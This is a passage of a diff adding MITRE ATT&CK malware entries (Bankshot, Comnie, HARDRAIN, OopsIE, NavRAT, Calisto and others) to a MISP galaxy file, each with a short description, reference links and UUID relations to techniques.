"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "value": "Bankshot - S0239" + }, + { + "description": "[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)", + "meta": { + "external_id": "S0329", + "refs": [ + "https://attack.mitre.org/software/S0329", + "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf" + ], + "synonyms": [ + "Tangelo" + ] + }, + "related": [ + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "35aae10a-97c5-471a-9c67-02c231a7a31a", + "value": "Tangelo - S0329" + }, + { + "description": "[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)", + "meta": { + "external_id": "S0244", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0244", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + ], + "synonyms": [ + "Comnie" + ] + }, + "related": [ + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "value": "Comnie - S0244" + }, + { + "description": "[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)", + "meta": { + "external_id": "S0245", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0245", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + ], + "synonyms": [ + "BADCALL" + ] + }, + "related": [ + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "value": "BADCALL - S0245" + }, + { + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)", + "meta": { + "external_id": "S0254", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0254", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + ], + "synonyms": [ + "PLAINTEE" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "value": "PLAINTEE - S0254" + }, + { + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)", + "meta": { + "external_id": "S0246", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0246", + "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + ], + "synonyms": [ + "HARDRAIN" + ] + }, + "related": [ + { + "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "bd0536d7-b081-43ae-a773-cfb057c5b988", + "value": "HARDRAIN - S0246" + }, + { + "description": "[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)", + "meta": { + "external_id": "S0264", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0264", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", + "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + ], + "synonyms": [ + "OopsIE" + ] + }, + "related": [ + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "value": "OopsIE - S0264" + }, + { + "description": "[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)", + "meta": { + "external_id": "S0247", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0247", + "https://blog.talosintelligence.com/2018/05/navrat.html" + ], + "synonyms": [ + "NavRAT" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "53a42597-1974-4b8e-84fd-3675e8992053", + "value": "NavRAT - S0247" + }, + { + "description": "[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "meta": { + "external_id": "S0274", + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0274", + "https://securelist.com/calisto-trojan-for-macos/86543/", + "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + ], + "synonyms": [ + "Calisto" + ] + }, + "related": [ + { + "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b8fdef82-d2cf-4948-8949-6466357b1be1", + "value": "Calisto - S0274" + }, + { + "description": "[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080). Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)", + "meta": { + "external_id": "S0284", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0284", + "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + ], + "synonyms": [ + "More_eggs" + ] + }, + "related": [ + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "value": "More_eggs - S0284" + }, + { + "description": "[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", + "meta": { + "external_id": "S0248", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0248", + "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + ], + "synonyms": [ + "yty" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "value": "yty - S0248" + }, + { + "description": "[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)", + "meta": { + "external_id": "S0294", + "refs": [ + "https://attack.mitre.org/software/S0294", + "https://blog.lookout.com/blog/2015/11/04/trojanized-adware/" + ], + "synonyms": [ + "ShiftyBug" + ] + }, + "related": [ + { + "dest-uuid": "0c769e82-df28-4f65-97f5-7f3d88488f2e", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c80a6bef-b3ce-44d0-b113-946e93124898", + "value": "ShiftyBug - S0294" + }, + { + "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by 